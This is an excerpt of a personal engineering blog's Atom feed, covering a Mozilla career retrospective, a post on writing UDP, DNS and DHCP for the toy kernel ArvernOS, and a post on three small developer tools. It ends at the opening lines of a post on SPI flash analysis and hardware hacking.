  &lt;li&gt;introduced &lt;a href=&quot;https://aws.amazon.com/lambda/&quot;&gt;AWS Lambda&lt;/a&gt; to our infrastructure for some (micro) services&lt;/li&gt;
  &lt;li&gt;created prototypes, e.g., I wrote a CLI tool leveraging &lt;a href=&quot;https://spidermonkey.dev/&quot;&gt;SpiderMonkey&lt;/a&gt;
to dynamically analyze browser extension behaviors&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.mozilla.org/addons/2021/01/21/promoted-add-ons-pilot-wrap-up/&quot;&gt;almost&lt;/a&gt; integrated Stripe with AMO 🙃&lt;/li&gt;
  &lt;li&gt;shipped entire features spanning many components end-to-end like the &lt;a href=&quot;https://blog.mozilla.org/addons/2020/06/10/improvements-to-statistics-processing-on-amo/&quot;&gt;AMO
Statistics&lt;/a&gt; (AMO frontend + backend, BigQuery/ETL with Airflow, and some
patches in Firefox)&lt;/li&gt;
  &lt;li&gt;created &lt;a href=&quot;/2022/03/29/some-non-production-tools-i-wrote/&quot;&gt;various dev/QA tools&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Last but not least, I started and developed a collaboration with Mozilla’s Data
Science team on a Machine Learning (security-oriented) project. This has been
one of my best contributions to Mozilla to date.&lt;/p&gt;

&lt;h2 id=&quot;what-did-i-do-over-the-last-12-months&quot;&gt;What did I do over the last 12 months?&lt;/h2&gt;

&lt;p&gt;I built the “new” &lt;a href=&quot;https://addons.mozilla.org/blog/&quot;&gt;AMO blog&lt;/a&gt;. I played with &lt;a href=&quot;https://www.11ty.dev/&quot;&gt;Eleventy&lt;/a&gt; for the first time
and wrote some PHP to tweak the WordPress backend for our needs. I also
“hijacked” our addons-frontend project a bit to &lt;a href=&quot;https://github.com/mozilla/addons-frontend/tree/5518fc1091241849f1f90634fe5d8f5d3cce2688#addons-frontend-blog-utils&quot;&gt;reuse some logic and
components&lt;/a&gt; for the “enhanced add-on cards” used on the blog
(screenshot below).&lt;/p&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2022/05/amo-blog.webp&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;The AMO blog with an add-on card for the “OneTab” extension. The “Add to
Firefox” button is dynamic like the install buttons on the main AMO website.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Next, I co-specified and implemented a Firefox feature to detect search
hijacking at scale. After that, I started to work on some of the new &lt;a href=&quot;https://blog.mozilla.org/addons/2021/05/27/manifest-v3-update/&quot;&gt;Manifest
V3 APIs in Firefox&lt;/a&gt; and eventually joined the WebExtensions team full-time.&lt;/p&gt;

&lt;p&gt;I also…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;wrote a &lt;a href=&quot;https://blog.mozilla.org/addons/2021/12/07/new-javascript-syntax-support-in-add-on-developer-tools/&quot;&gt;blog post about the add-ons linter&lt;/a&gt; on the Community
Blog&lt;/li&gt;
  &lt;li&gt;interviewed candidates (if you want to discuss, &lt;a href=&quot;https://www.mozilla.org/en-US/careers/&quot;&gt;we’re hiring&lt;/a&gt; 😉)&lt;/li&gt;
  &lt;li&gt;took the time to meet new colleagues in a few &lt;a href=&quot;https://www.donut.com/&quot;&gt;donut chats&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;accidentally prevented huge unnecessary storage costs 😅&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This period has been complicated, though. The manager who hired me and helped
me grow as an engineer left last year 😭 Some other folks I used to work with
are no longer at Mozilla either. That got me thinking about my career and my
recent choices. I firmly believe that moving to the WebExtensions team was the
right call. Yet, most of the key people who could have helped me grow further
are gone. Building trustful relationships takes time and so does having
opportunities to demonstrate capabilities.&lt;/p&gt;

&lt;p&gt;Sure, I still have plenty of things to learn in my current role but I hardly
see what the next milestone will be in my career at the moment. That being
said, I love what I am doing at Mozilla and my team is fabulous ❤️&lt;/p&gt;

&lt;p&gt;Thank you to everyone in the Add-ons team as well as to all the folks I had the
pleasure to work with so far!&lt;/p&gt;

</content>
    </entry>
    
    <entry>
        <title>On writing a network stack (2/2)</title>
        <link href="https://williamdurand.fr/2022/04/11/on-writing-a-network-stack-part-2/"/>
        <updated>2022-04-11T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2022/04/11/on-writing-a-network-stack-part-2</id>
        <content type="html">&lt;p&gt;&lt;em&gt;I am writing a minimum viable network stack from scratch for &lt;a href=&quot;https://github.com/willdurand/ArvernOS/&quot;&gt;ArvernOS&lt;/a&gt; (a
UNIX-like toy kernel). This two-part story describes some protocols of the
&lt;a href=&quot;https://en.m.wikipedia.org/wiki/Internet_protocol_suite&quot;&gt;TCP/IP&lt;/a&gt; stack as well as some implementation details in the context of
ArvernOS.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;In &lt;a href=&quot;/2022/02/17/on-writing-a-network-stack-part-1/&quot;&gt;Part 1 of this two-part story&lt;/a&gt;, I presented some of the network
protocols that I implemented when I started writing a network stack from
scratch. In this second part, I continue to climb the different layers of this
stack. After having introduced UDP, I’ll describe two “high” level network
protocols: DHCP and DNS.&lt;/p&gt;

&lt;p class=&quot;with-caption can-invert-image-in-dark-mode&quot;&gt;&lt;img src=&quot;/images/posts/2022/02/arvernos-network-stack-202201.webp?v=20220411&quot; alt=&quot;ArvernOS network stack in (early) 2022&quot; /&gt;
&lt;em&gt;Figure 1: ArvernOS network stack in (early) 2022, which is divided into 5
layers (the TCP/IP model sits on top of a physical layer)&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Figure 1 depicts the 5 different layers/protocols already implemented in
ArvernOS: I chose to have a first distinct physical layer, and then we have the
4 layers of the &lt;a href=&quot;https://en.m.wikipedia.org/wiki/Internet_protocol_suite&quot;&gt;TCP/IP&lt;/a&gt; model. This makes the first 4 layers of this model
similar to the &lt;a href=&quot;https://en.wikipedia.org/wiki/OSI_model&quot;&gt;OSI model&lt;/a&gt; as well.&lt;/p&gt;

&lt;p&gt;Again, each implementation is far from
perfect but it is functional to some extents.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#user-datagram-protocol-udp&quot;&gt;User Datagram Protocol (UDP)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#domain-name-system-dns&quot;&gt;Domain Name System (DNS)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#dynamic-host-configuration-protocol-dhcp&quot;&gt;Dynamic Host Configuration Protocol (DHCP)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;user-datagram-protocol-udp&quot;&gt;User Datagram Protocol (UDP)&lt;/h2&gt;

&lt;p&gt;UDP is a communication protocol listed in the &lt;em&gt;Transport&lt;/em&gt; layer of the TCP/IP
model. This protocol is “not connected”, which means there is no end-to-end
connection. It is considered unreliable because packets could be lost and the
emitter wouldn’t have any (built-in) way to know that. On the other hand, this
makes UDP simpler to implement (compared to &lt;a href=&quot;https://en.wikipedia.org/wiki/Transmission_Control_Protocol&quot;&gt;TCP&lt;/a&gt; for instance).&lt;/p&gt;

&lt;h3 id=&quot;-udp-in-arvernos&quot;&gt;💡 UDP in ArvernOS&lt;/h3&gt;

&lt;p class=&quot;with-caption can-invert-image-in-dark-mode&quot;&gt;&lt;img src=&quot;/images/posts/2022/04/arvernos-layer4.webp&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;Figure 2: The UDP implementation (Layer 4 in my model) is invoked by the lower
layers on data received and relies on the other lower layers to send data&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Like the other protocols introduced in the &lt;a href=&quot;/2022/02/17/on-writing-a-network-stack-part-1/&quot;&gt;first article&lt;/a&gt;, the UDP
implementation provides a pair of functions to send and receive data as depicted
in Figure 2.&lt;/p&gt;

&lt;p&gt;When receiving new packets, the &lt;a href=&quot;https://github.com/willdurand/ArvernOS/blob/063cb613eac62ae9b6e62a5e56724cf965306486/src/kernel/net/udp.c#L13-L53&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;udp_receive_packet()&lt;/code&gt;&lt;/a&gt;
function is called by the IPv4 code when the &lt;a href=&quot;https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml&quot;&gt;protocol number&lt;/a&gt; in an IPv4
packet is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;17&lt;/code&gt;. The second function, &lt;a href=&quot;https://github.com/willdurand/ArvernOS/blob/063cb613eac62ae9b6e62a5e56724cf965306486/src/kernel/net/udp.c#L55-L119&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;udp_send_packet()&lt;/code&gt;&lt;/a&gt;,
allows to transmit &lt;a href=&quot;https://en.wikipedia.org/wiki/User_Datagram_Protocol#UDP_datagram_structure&quot;&gt;UDP datagrams&lt;/a&gt;. Most of the code in this function is about
computing a pseudo header checksum, which took me quite some time to get right.
Wireshark seems happy now, though.&lt;/p&gt;

&lt;p&gt;As far as I can remember, this initial UDP implementation was designed to
[explore DNS]&lt;sup id=&quot;fnref:tweet-dns&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:tweet-dns&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; (another protocol that I describe later
in this article). Initially, it was only possible to receive UDP packets &lt;a href=&quot;https://github.com/willdurand/ArvernOS/blob/063cb613eac62ae9b6e62a5e56724cf965306486/src/kernel/net/udp.c#L42-L53&quot;&gt;based
on the &lt;em&gt;destination port&lt;/em&gt;&lt;/a&gt;. Later, I added the concept of sockets
and the UDP logic was adjusted a bit to retrieve the right socket for each
packet received. That was an interesting problem so let’s talk about it in the
next section.&lt;/p&gt;

&lt;h4 id=&quot;handling-incoming-packets&quot;&gt;Handling incoming packets&lt;/h4&gt;

&lt;p&gt;On many systems, sockets are used by a process to communicate with other
processes (which can be running on different machines). In reality, when a
&lt;a href=&quot;https://www.redhat.com/en/blog/architecting-containers-part-1-why-understanding-user-space-vs-kernel-space-matters&quot;&gt;user space&lt;/a&gt; application uses a socket, it only talks to the kernel
network stack. The kernel is the one dealing with the hardware and the low level
bits.&lt;/p&gt;

&lt;p&gt;When the kernel receives incoming data on a network interface, it needs to know
where to send the data next. In most cases, an application in the user space
needs the data and that’s where sockets are useful. “All” the kernel has to do is
to retrieve the right socket given an incoming packet. It is easier said than
done, though.&lt;/p&gt;

&lt;p&gt;In ArvernOS, socket descriptors own the relevant information (protocol, port,
etc.) to be able to retrieve a socket given an incoming packet. This is
currently done by &lt;a href=&quot;https://github.com/willdurand/ArvernOS/blob/4cb72648f0718c69a39fb664164490b138b770d2/src/kernel/net/udp.c#L34-L40&quot;&gt;calling &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;descriptor_udp_lookup()&lt;/code&gt; in
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;udp_receive_packet()&lt;/code&gt;&lt;/a&gt;. In order to support “raw” sockets, &lt;a href=&quot;https://github.com/willdurand/ArvernOS/pull/552&quot;&gt;this
PR&lt;/a&gt; adds a similar call to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;descriptor_raw_lookup()&lt;/code&gt; in
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ipv4_receive_packet()&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;In Linux, it is a bit different. In a Linux network driver, the incoming
data is encapsulated into a &lt;a href=&quot;https://wiki.linuxfoundation.org/networking/sk_buff&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sk_buff&lt;/code&gt; structure&lt;/a&gt;, which is eventually
passed to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;netif_rx()&lt;/code&gt; or &lt;a href=&quot;https://www.privateinternetaccess.com/blog/linux-networking-stack-from-the-ground-up-part-4/&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;netif_receive_skb()&lt;/code&gt; function&lt;/a&gt;. This
is where the incoming packet starts to actually “climb” the network stack. For
UDP, the function &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__udp4_lib_lookup()&lt;/code&gt; describes how the kernel retrieves a
socket for a given UDP packet. The way Linux calls this function and forwards
the packet to the socket is a bit hard to follow but &lt;a href=&quot;https://www.privateinternetaccess.com/blog/linux-networking-stack-from-the-ground-up-part-4-2/&quot;&gt;this article explains it
well&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;domain-name-system-dns&quot;&gt;Domain Name System (DNS)&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Domain_Name_System&quot;&gt;DNS&lt;/a&gt; is a protocol used to associate a domain name with an IP address. Some
people thought it’d be easier to remember &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;github.com&lt;/code&gt; than &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;140.82.121.4&lt;/code&gt;. I
would recommend to read [Julia Evans’ tweets about DNS]&lt;sup id=&quot;fnref:tweet-b0rk-dns&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:tweet-b0rk-dns&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; if you
want to learn more about this protocol from a “user perspective”. She covered
&lt;em&gt;many&lt;/em&gt; aspects of it!&lt;/p&gt;

&lt;p&gt;DNS is part of the &lt;em&gt;Application&lt;/em&gt; layer in the TCP/IP stack. It relies on a
transport protocol to issue DNS queries. UDP (on port 53) is widely used and
that’s what I implemented in ArvernOS. That being said, there are newer
transport protocols available for DNS like &lt;a href=&quot;https://en.wikipedia.org/wiki/DNS_over_HTTPS&quot;&gt;DNS over HTTPS&lt;/a&gt; (DoH).&lt;/p&gt;

&lt;h3 id=&quot;-dns-in-arvernos&quot;&gt;💡 DNS in ArvernOS&lt;/h3&gt;

&lt;p&gt;I followed these great &lt;a href=&quot;https://courses.cs.duke.edu//fall16/compsci356/DNS/DNS-primer.pdf&quot;&gt;DNS Primer notes&lt;/a&gt; to implement DNS in
ArvernOS (see: &lt;a href=&quot;https://github.com/willdurand/ArvernOS/blob/4cb72648f0718c69a39fb664164490b138b770d2/src/kernel/net/dns.c&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kernel/net/dns.c&lt;/code&gt;&lt;/a&gt;). ArvernOS currently offers a single
function named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dns_lookup()&lt;/code&gt; to perform a blocking DNS lookup for a given
domain name.&lt;/p&gt;

&lt;p&gt;This function is also exposed to user space thanks to the
&lt;a href=&quot;https://github.com/willdurand/ArvernOS/blob/4cb72648f0718c69a39fb664164490b138b770d2/src/kernel/sys/k_gethostbyname2.c#L19&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gethostbyname2&lt;/code&gt;&lt;/a&gt; system call, and the &lt;a href=&quot;https://github.com/willdurand/ArvernOS/blob/6927ef2c09f5ce1b436ba343858e898194d19675/src/kernel/kshell/host.c#L16&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;host&lt;/code&gt;
program&lt;/a&gt; shows how that can be used:&lt;/p&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2022/04/dns.webp&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;Figure 3: ArvernOS (x86_64) running in QEMU. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;host&lt;/code&gt; command has been
executed several times with different domain names&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;dynamic-host-configuration-protocol-dhcp&quot;&gt;Dynamic Host Configuration Protocol (DHCP)&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol&quot;&gt;DHCP&lt;/a&gt; is another protocol of the &lt;em&gt;Application&lt;/em&gt; layer in &lt;a href=&quot;https://en.m.wikipedia.org/wiki/Internet_protocol_suite&quot;&gt;TCP/IP&lt;/a&gt;,
mainly used to automatically assign IP addresses to devices in a network. DHCP
relies on UDP, and it works with 4 sequential “operations”:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Machine &lt;em&gt;A&lt;/em&gt; advertises itself on the network. Something like this:&lt;/p&gt;

    &lt;blockquote&gt;
      &lt;p&gt;Hello? Hellooo?&lt;/p&gt;
    &lt;/blockquote&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;If a DHCP server receives this request, it will make an offer:&lt;/p&gt;

    &lt;blockquote&gt;
      &lt;p&gt;Hey, I am the DHCP server. How about you use 192.168.1.234 as IP address?
By the way, my IP is 192.168.1.1.&lt;/p&gt;
    &lt;/blockquote&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Machine &lt;em&gt;A&lt;/em&gt; accepts the offer by explicitly requesting the IP address:&lt;/p&gt;

    &lt;blockquote&gt;
      &lt;p&gt;Okay, thanks DHCP server. Hello everyone, I am 192.168.1.234.&lt;/p&gt;
    &lt;/blockquote&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Last, the DHCP server acknowledges the request.&lt;/p&gt;

    &lt;blockquote&gt;
      &lt;p&gt;Got it!&lt;/p&gt;
    &lt;/blockquote&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;From there, machine &lt;em&gt;A&lt;/em&gt; has an IP address assigned. Wikipedia says DHCP is built
on top of &lt;a href=&quot;https://en.wikipedia.org/wiki/Bootstrap_Protocol&quot;&gt;BOOTP&lt;/a&gt;, which stands for BOOTstrap Protocol. As such, it can be
used to negotiate more information than just its own IP address.&lt;/p&gt;

&lt;p&gt;Most of the time, it will be used to get an IP address, the IP of the gateway
(“router”) and one or more DNS server IP addresses. The client should store the
different IPs and use &lt;a href=&quot;/2022/02/17/on-writing-a-network-stack-part-1/#layer-25-address-resolution-protocol-arp&quot;&gt;ARP&lt;/a&gt; to get the corresponding MAC addresses.&lt;/p&gt;

&lt;p&gt;At this point, the machine should be able to talk to the gateway and the local
DNS servers. This should be enough to reach the Internet!&lt;/p&gt;

&lt;h3 id=&quot;-dhcp-in-arvernos&quot;&gt;💡 DHCP in ArvernOS&lt;/h3&gt;

&lt;p class=&quot;with-caption can-invert-image-in-dark-mode&quot;&gt;&lt;img src=&quot;/images/posts/2022/04/arvernos-dhcp.webp&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;Figure 4: The DHCP implementation exposes two public functions like most of the
other protocols implemented in ArvernOS&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The DHCP implementation in ArvernOS follows the sequence described in the
previous section (see: &lt;a href=&quot;https://github.com/willdurand/ArvernOS/blob/597d77e09ca572dcebb473280bf2e18655ba7957/src/kernel/net/dhcp.c&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kernel/net/dhcp.c&lt;/code&gt;&lt;/a&gt;). This sequence starts with
a call to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dhcp_discover()&lt;/code&gt; function during the kernel initialization (near
the end). The implementation is fragile. It uses busy waiting and does not
handle errors at all but that seems to be okay for QEMU’s DHCP server:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2022/04/dhcp.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In QEMU, ArvernOS automatically gets its network configuration from DHCP. That
includes its own IP address as well as the IP address of the gateway and a
single DNS server.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;In a similar manner, I added enough of the &lt;a href=&quot;https://en.wikipedia.org/wiki/Network_Time_Protocol&quot;&gt;Network Time Protocol&lt;/a&gt; (NTP) to
query a time server (see: &lt;a href=&quot;https://github.com/willdurand/ArvernOS/blob/4cb72648f0718c69a39fb664164490b138b770d2/src/kernel/net/ntp.c&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kernel/net/ntp.c&lt;/code&gt;&lt;/a&gt;). &lt;a href=&quot;https://en.wikipedia.org/wiki/Transmission_Control_Protocol&quot;&gt;TCP&lt;/a&gt; is the next big
chunk of work. I haven’t started yet and that seems a lot more involved. We’ll
see…&lt;/p&gt;

&lt;p&gt;Other than that, ArvernOS is a toy project, not a production-ready kernel and it
will never become one. If I had to build a new kernel or OS in the future, it
wouldn’t be this project. As such, working on such features from scratch helps
me gain deeper knowledge on various topics. That also allows me to appreciate
existing solutions and give me a different perspective on things.&lt;/p&gt;

&lt;div class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;
  &lt;ol&gt;
    &lt;li id=&quot;fn:tweet-dns&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;This used to be a link to a tweet from me:&lt;/p&gt;
      &lt;blockquote class=&quot;footnote-tweet&quot;&gt;
        &lt;p&gt;I received my very first DNS packet in reply to a query crafted with my
very own network stack ❤️&lt;/p&gt;

        &lt;p&gt;In other words, my little kernel is finally able to talk to the Internet
and I am extremely happy!&lt;/p&gt;

        &lt;p&gt;[there was a picture with ArvernOS in QEMU and Wireshark]&lt;/p&gt;
      &lt;/blockquote&gt;
      &lt;p&gt;&lt;a href=&quot;#fnref:tweet-dns&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:tweet-b0rk-dns&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;This used to be a link to a &lt;a href=&quot;https://twitter.com/b0rk/status/1485773079741706240&quot;&gt;tweet from @b0rk&lt;/a&gt;:&lt;/p&gt;
      &lt;blockquote class=&quot;footnote-tweet&quot;&gt;
        &lt;p&gt;life of a DNS query &lt;a href=&quot;https://wizardzines.com/comics/life-of-a-dns-query/&quot;&gt;https://wizardzines.com/comics/life-of-a-dns-query/&lt;/a&gt;&lt;/p&gt;
      &lt;/blockquote&gt;
      &lt;p&gt;&lt;a href=&quot;#fnref:tweet-b0rk-dns&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;
</content>
    </entry>
    
    <entry>
        <title>Some non-production tools I wrote</title>
        <link href="https://williamdurand.fr/2022/03/29/some-non-production-tools-i-wrote/"/>
        <updated>2022-03-29T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2022/03/29/some-non-production-tools-i-wrote</id>
        <content type="html">&lt;p&gt;This is a short article about 3 different tools I authored for my needs at
Mozilla.&lt;/p&gt;

&lt;p&gt;I worked on &lt;a href=&quot;https://addons.mozilla.org/&quot;&gt;AMO&lt;/a&gt; for almost 4 years and created various libraries like
&lt;a href=&quot;https://github.com/mozilla/pino-mozlog&quot;&gt;pino-mozlog&lt;/a&gt;, &lt;a href=&quot;https://github.com/willdurand/pino-devtools&quot;&gt;pino-devtools&lt;/a&gt; or an &lt;a href=&quot;https://github.com/mozilla/eslint-plugin-amo&quot;&gt;ESLint plugin&lt;/a&gt; to
name a few. These libraries have been created either to improve our developer
experience or to fulfill some production requirements.&lt;/p&gt;

&lt;p&gt;This isn’t the kind of projects I want to focus on in the rest of this article,
though. Indeed, I also wrote “non-production” tools, i.e. some side projects to
improve my day-to-day work. These tools have been extremely useful to me and,
possibly, other individuals as well. I use most of them on a weekly basis and I
maintain them on my own.&lt;/p&gt;

&lt;h2 id=&quot;amo-info&quot;&gt;amo-info&lt;/h2&gt;

&lt;p&gt;I wrote a browser extension named &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/amo-info/&quot;&gt;amo-info&lt;/a&gt;. This extension adds a page
action button when we open the web applications maintained by the AMO/Add-ons
team. Clicking on this button reveals a pop-up with relevant information like
the environment, git tag, feature flags, etc.&lt;/p&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2022/03/amo-info.webp&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;The amo-info extension displaying information about addons.mozilla.org.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;If this sounds familiar to you, it might be because I already mentioned this
project in my &lt;a href=&quot;/2020/09/22/feature-flags-in-real-life/&quot;&gt;article about feature flags&lt;/a&gt;. Anyway, knowing what
is currently deployed in any environment at any given time is super valuable,
and this extension makes it easy to find out!&lt;/p&gt;

&lt;p&gt;I recently added support for Firefox for Android but it &lt;a href=&quot;https://blog.mozilla.org/addons/2020/09/29/expanded-extension-support-in-firefox-for-android-nightly/&quot;&gt;only works in
Nightly&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;git-npm-release&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git npm-release&lt;/code&gt;&lt;/h2&gt;

&lt;p&gt;A different tool I use every week is the &lt;a href=&quot;https://github.com/willdurand/dotfiles/blob/8abc8da3ca5f9f7a3d8e0d629552a15a819ad2d5/git/commands/npm-release&quot;&gt;git npm-release&lt;/a&gt; command,
which automates my process to release new versions of our JavaScript packages.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ git npm-release -h
usage: git npm-release [help|major|minor|patch]

git npm-release help
        print this help message.
git npm-release major
        create a major version.
git npm-release minor
        create a minor version.
git npm-release patch
        create a patch version.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;For most of our JavaScript projects, we leverage a Continuous Integration (CI)
platform (e.g., CircleCI) to automatically publish new versions on the &lt;a href=&quot;https://www.npmjs.com/&quot;&gt;npm
registry&lt;/a&gt; when a git tag is pushed to a GitHub repository.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git npm-release&lt;/code&gt; command is built on top of &lt;a href=&quot;https://hub.github.com/&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hub&lt;/code&gt;&lt;/a&gt;, &lt;a href=&quot;https://docs.npmjs.com/cli/version&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;npm
version&lt;/code&gt;&lt;/a&gt; and a homemade &lt;a href=&quot;https://github.com/willdurand/dotfiles/blob/8abc8da3ca5f9f7a3d8e0d629552a15a819ad2d5/scripts/format-release-notes&quot;&gt;script to format release
notes&lt;/a&gt;. Running this command will (1) update the
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;package.json&lt;/code&gt; file with the right version, (2) make a git tag, (3) prepare the
release notes and open an editor, (4) push the commit/tag to GitHub, and (5)
create a GitHub release.&lt;/p&gt;

&lt;p&gt;This process isn’t fully automated because (3) opens an editor with the
pre-formatted release notes. I usually provide some more high level information
in the notes, which is why this step requires manual intervention.&lt;/p&gt;

&lt;h2 id=&quot;fx-attribution-data-reader&quot;&gt;fx-attribution-data-reader&lt;/h2&gt;

&lt;p&gt;This is a tool I created not too long ago after telling a QA engineer that “he
could simply open the binary in an hex editor” 😅 I can find my way in hex dumps
because &lt;a href=&quot;/2022/03/10/spi-flash-content-analysis-and-firmware-reconstruction/&quot;&gt;my hobbies are weird&lt;/a&gt; but I get that it isn’t
everyone else’s cup of tea.&lt;/p&gt;

&lt;p&gt;The &lt;a href=&quot;https://williamdurand.fr/fx-attribution-data-reader/&quot;&gt;fx-attribution-data-reader&lt;/a&gt; web application takes a Firefox for
Windows binary and displays the attribution data that may be contained in it.
Everything is performed locally (in the browser) but the results can also be
shared (URLs are “shareable”).&lt;/p&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2022/03/fx-reader.webp&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;The fx-attribution-data-reader tool with a binary loaded and parsed.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Currently, this is mainly useful to debug some add-ons related features and it
is very niche. As such, this tool isn’t used very often but this is a good
example of a very simple UI built to hide some (unnecessary) complexity.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;I introduced three different tools that I am happy to use and maintain. &lt;a href=&quot;https://xkcd.com/1205/&quot;&gt;Is it
worth the time?&lt;/a&gt; I think so because it isn’t so much
about the time shaved off in this case.&lt;/p&gt;

&lt;p&gt;It is more about the simplicity and ease of use. Also, writing new tools is fun!
I often use these ideas as excuses to learn more about new topics, be it
programming languages, frameworks, libraries, or some internals.&lt;/p&gt;

</content>
    </entry>
    
    <entry>
        <title>SPI flash content analysis and firmware reconstruction</title>
        <link href="https://williamdurand.fr/2022/03/10/spi-flash-content-analysis-and-firmware-reconstruction/"/>
        <updated>2022-03-10T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2022/03/10/spi-flash-content-analysis-and-firmware-reconstruction</id>
        <content type="html">&lt;p&gt;I wrote a [Twitter thread about hardware hacking]&lt;sup id=&quot;fnref:twitter-thread&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:twitter-thread&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; some time ago.
The idea was to explain &lt;em&gt;one&lt;/em&gt; way to obtain privileged access on a device. In
this case, the target was a cheap Chromecast-like device (more on that below)
and I “easily” got &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;root&lt;/code&gt; access &lt;em&gt;via&lt;/em&gt; UART.&lt;/p&gt;

